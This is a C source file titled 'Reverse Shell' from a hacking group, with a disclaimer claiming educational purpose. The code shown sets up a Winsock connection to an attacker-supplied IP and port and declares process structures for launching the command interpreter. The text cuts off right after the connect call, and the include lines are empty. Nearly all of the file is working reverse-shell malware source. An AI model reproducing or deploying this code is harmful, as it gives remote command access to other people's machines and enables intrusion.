Reverse Shell

/*
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+This is a little Disclaimer for if you havn't read the one on our site.   +
+The tools and tutorials KD-Team develops and publishes are only ment for           +
+educational purpose only.WE DO NOT encourage the use of this tools and         +
+tutorials for mailicious purpose.We learned a lot during the development of them   +
+so we hope you also learn and don't just use it without any brains.   +
+We take completly NO responsability for any damage caused by them nor           +
+are we or our isp responsible for what you do with them.     +
+Greetz: KD-Team                   +
+http://www.kd-team.com                           +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/

#include
#include
#include
#include

#define RCVBUFSIZE 32

void main(int argc,char *argv[])
{
//Declaring the vars
    int sock;
    struct sockaddr_in cbAddr;
    unsigned short cbPort;
    char *cbIp;
    WSADATA wsaData;
STARTUPINFO si;
PROCESS_INFORMATION pi={0};
char comspec[MAX_PATH];

//parsing arguments to the corresponding vars.
cbIp = argv[1];
cbPort = atoi(argv[2]);

//starting up wsa
    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
    {
        printf("WSAStartup() failed");
        exit(1);
    }
//Make shure it's WSASocket()
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
{
        printf("Socket Failed\n");
WSACleanup();
exit(1);
}

//filling the struct
    memset(&cbAddr, 0, sizeof(cbAddr));
    cbAddr.sin_family       = AF_INET;
    cbAddr.sin_addr.s_addr = inet_addr(cbIp);
    cbAddr.sin_port         = htons(cbPort);

// Establish the connection to the echo server
    if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
{
        printf("connect() failed\n");
closesocket(sock);
WSACleanup();
exit(1);...